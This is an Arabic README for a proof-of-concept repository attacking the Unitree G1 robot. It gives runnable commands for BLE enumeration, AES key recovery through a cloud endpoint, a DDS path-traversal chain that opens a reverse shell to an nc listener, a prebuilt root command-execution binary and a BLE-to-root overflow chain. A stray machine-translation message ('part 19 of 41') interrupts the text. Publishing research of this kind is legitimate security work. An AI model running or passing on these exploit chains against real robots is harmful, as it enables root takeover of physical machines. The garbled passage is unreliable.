
Unitree G1 RCE PoC وسكربتات (CVE-2026-76639 / CVE-2026-76640) — التفاصيل التقنية على boschko.ca/g1-ble-rce/
التفاصيل التقنية لـ Unitree G1 RCE PoC & Scripts (CVE-2026-76639 / CVE-2026-76640) على boschko.ca/g1-ble-rce/
استخدم هذا المستودع فقط مع الروبوتات والحسابات والشبكات المصرّح لك باختبارها. يمكن لسلاسل الاستغلال النشطة تغيير إعدادات WiFi الخاصة بالروبوت، وإيقاف الخدمات أو إعادة تشغيلها، وإسقاط btgatt-server، وتنفيذ أوامر بصلاحيات الجذر.
| المسار | المحتويات |
|---|---|
ble-scanning | اكتشاف BLE، وتعداد GATT غير المقترن، واكتشاف الرقم التسلسلي، والتقاط كتلة bootstrap المشفّرة |
cloud-oracle | إعادة إنتاج تدفق استرداد المفتاح التاريخي /device/bindExtData |
chatgo-bashrunner-rce | سلسلة اجتياز المسار في DDS المغلفة بـ WebRTC وتنفيذ أوامر bashrunner |
pure-dds-rce | سلسلة خدمة DDS نفسها منفّذة مباشرةً باستخدام Cyclone DDS الأصلي |
ble-full-chain-rce | سلسلة نشطة من BLE إلى الجذر: bootstrap، واسترداد مفتاح السحابة، وتزويد WiFi، والكشف عن PIE، وطفح BSS |
scanning-tools | أدوات مساعدة منخفضة المستوى لـ BLE وDDS وWebRTC وتعداد الخدمات استُخدمت أثناء البحث |
ble-bss-overflow.html | شرح تفاعلي لطفح BSS بحجم 1,050 بايت في btgatt-server |
قيم مثل 0xF1 و0xF2 هي أكواد عمليات (opcodes) في بروتوكول BLE اللاسلكي. وهي ليست أرقام اكتشافات.
تُحفظ الأسماء متوافقة مع المكوّنات المرفقة: btgatt-server هو عملية BLE القابلة للاستغلال، بينما chat_go وbashrunner هما اسما خدمة/وحدة في Unitree. يُسمّى الملف التنفيذي الأصلي لإثبات المفهوم في هذا المستودع loco_rce.
يُوصى باستخدام Python 3.11 أو أحدث.
تبدأ أمثلة الأوامر أدناه من جذر المستودع. تستخدم أمثلة متغيرات الصدفة التفاعلية صيغة Bash.
git clone <repository-url>
cd githubunitreepoc
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
يعتمد الوصول عبر BLE على المنصة المضيفة. على macOS، تكون العناوين التي يطبعها Bleak معرّفات UUID الخاصة بـ CoreBluetooth وليست عناوين MAC عبر الأثير.
تتطلب هذه الأدوات المساعدة القرب الفيزيائي عبر BLE فقط، دون حساب Unitree أو مفتاح AES أو اقتران مسبق.
عدّد خدمات GATT المكشوفة لدى G1 وأذونات الخصائص:
python3 ble-scanning/01_ble_gatt_enum.py
استعد الرقم التسلسلي للروبوت:
python3 ble-scanning/discover_sn.py --timeout 30
يتحقق discover_sn.py أولاً من بيانات مُصنّع BLE. إذا لم يكن الإعلان يحتوي على رقم تسلسلي، فإنه يتصل ويحاول طلب 0xF1 غير المشفّر. أضف --passive-only لتعطيل هذا الاحتياطي المتصل.
التقط كتلة bootstrap المشفّرة بـ RSA 0xF2 واحفظها لخطوة الاسترداد السحابي:
python3 ble-scanning/02_ble_bootstrap.py \
--output ble-scanning/bootstrap-blob.txt
المخرجات النموذجية مختصرة عمدًا هنا:
Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt
الـ blob هو نص مشفّر، وليس مفتاح AES بصيغته الصريحة.
يعيد cloud-oracle/03_cloud_oracle.py إنتاج تدفق استعادة المفتاح التاريخي الخاص بالتطبيق:
GET /system/pubKey.POST /device/bindExtData.قد تفرض الخوادم الحالية ملكية الروبوت. استخدم حسابًا مصرّحًا له للروبوت المستهدف.
شغّل الأداة المساعدة وأجب عن مطالباتها:
python3 cloud-oracle/03_cloud_oracle.py --show-http --redact
يطلب البرنامج إدخال الحساب، والرقم التسلسلي للروبوت، ومسار bootstrap-blob. استخدم ble-scanning/bootstrap-blob.txt للملف الذي تم إنشاؤه أعلاه. يُخفي --redact رمز الوصول ومفتاح AES المستعاد في إعادة إنتاج curl المطبوع، مما يجعل المخرجات أكثر أمانًا للمشاركة.
لتنفيذ خاص يطبع المفتاح المستعاد، احذف --redact:
python3 cloud-oracle/03_cloud_oracle.py
لا تلصق رموز الوصول أو بيانات اعتماد الحسابات أو مفاتيح الروبوت أو الأرقام التسلسلية أو البيانات الملتقطة في المشكلات أو نصوص الطرفية المنشورة.
chat_go → bashrunnerيصل هذا PoC إلى خدمات DDS الخاصة بالروبوت عبر قناة بيانات WebRTC الخاصة به. يتطلب مفتاح AES-128 الخاص بالروبوت الهدف ومضيفًا متصلًا بالشبكة الإيثرنت الداخلية للروبوت.
اضبط واجهة المضيف بما يناسب شبكة الاختبار. يستخدم PoC افتراضيًا الروبوت 192.168.123.161 وعنوان الاستدعاء الراجع 192.168.123.55.
في الطرفية الأولى، ابدأ مستمعًا:
nc -lv 4444
في الطرفية الثانية، قدّم مفتاح AES السداسي العشري المكوّن من 32 حرفًا دون إيداعه في المستودع، ثم شغّل السلسلة:
read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY
python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
<callback-ip> 4444
لا يوجد محتوى نصي مُرفق في رسالتك لترجمته. يرجى تزويديّ بالنص المطلوب (الجزء 19 من 41) لأقوم بترجمته إلى العربية وفق القواعد المحددة.
[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done
قد تنتهي مهلة طلب DDS النهائي لأن إعادة تشغيل الخدمة الهدف أو تنفيذها يعطّل مسار الاستجابة. تأكد من النجاح من المستمع بدلاً من اعتبار تلك المهلة وحدها فشلاً.
امسح متغير الصدفة عند الانتهاء:
unset UNITREE_AES_KEY
ينضم العميل الأصلي إلى نطاق DDS رقم 0 مباشرةً. ولا يستخدم WebRTC ولا مفتاح AES الخاص بالروبوت.
الملف التنفيذي pure-dds-rce/prebuilt_aarch64/loco_rce المرفق وبيئة تشغيل Cyclone DDS مخصصان لـ Linux AArch64. يرتبط الملف التنفيذي بـ libddsc.so.11؛ ويتضمن المستودع ذلك الرابط الرمزي وهدفه libddsc.so.11.0.1.
على مضيف Linux بنية AArch64 متصل بشبكة Ethernet الداخلية للروبوت:
يقوم المشغّل بمسح العناوين الموجودة من UNITREE_IFACE قبل تعيين UNITREE_LOCAL_CIDR. استخدم واجهة مخصصة للمختبر وتحقق جيدًا من اسم الواجهة قبل تشغيله.
./pure-dds-rce/run_exploit_c.sh
شغّل أمرًا مختلفًا بتقديم وسيط واحد بين علامتي اقتباس:
./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'
يستخدم المُشغّل افتراضيًا الواجهة eth0، والعنوان المحلي 192.168.123.55/24، وعنوان الروبوت 192.168.123.161. تجاوزها عند الحاجة:
UNITREE_IFACE=<ethernet-interface> \
UNITREE_LOCAL_CIDR=<host-address>/<prefix> \
UNITREE_ROBOT_IP=<robot-address> \
./pure-dds-rce/run_exploit_c.sh
راجع pure-dds-rce/README.md للحصول على تعليمات البناء من المصدر والمخرجات المتوقعة.
هذا هو PoC الأكثر إحداثاً للاضطراب في المستودع. فهو يغيّر إعدادات WiFi الخاصة بالروبوت، وينقله إلى نقطة الوصول المزوّدة، ويحصل على قاعدة PIE، ويُسلّم تجاوز سعة BSS، ويتسبب عمداً في انهيار btgatt-server بعد تشغيل دالة الاستدعاء.
ابدأ المستمع:
nc -lv 5560
اقرأ بيانات الاعتماد إلى متغيرات shell مؤقتة حتى لا تظهر قيمها الحرفية في هذا README أو في أمر shell نفسه:
read -rp "Unitree account email: " UNITREE_EMAIL
read -rsp "Unitree account password: " UNITREE_PASSWORD
echo
read -rp "Robot serial number: " UNITREE_SN
read -rp "Lab AP SSID: " LAB_AP_SSID
read -rsp "Lab AP password: " LAB_AP_PSK
echo
شغّل السلسلة: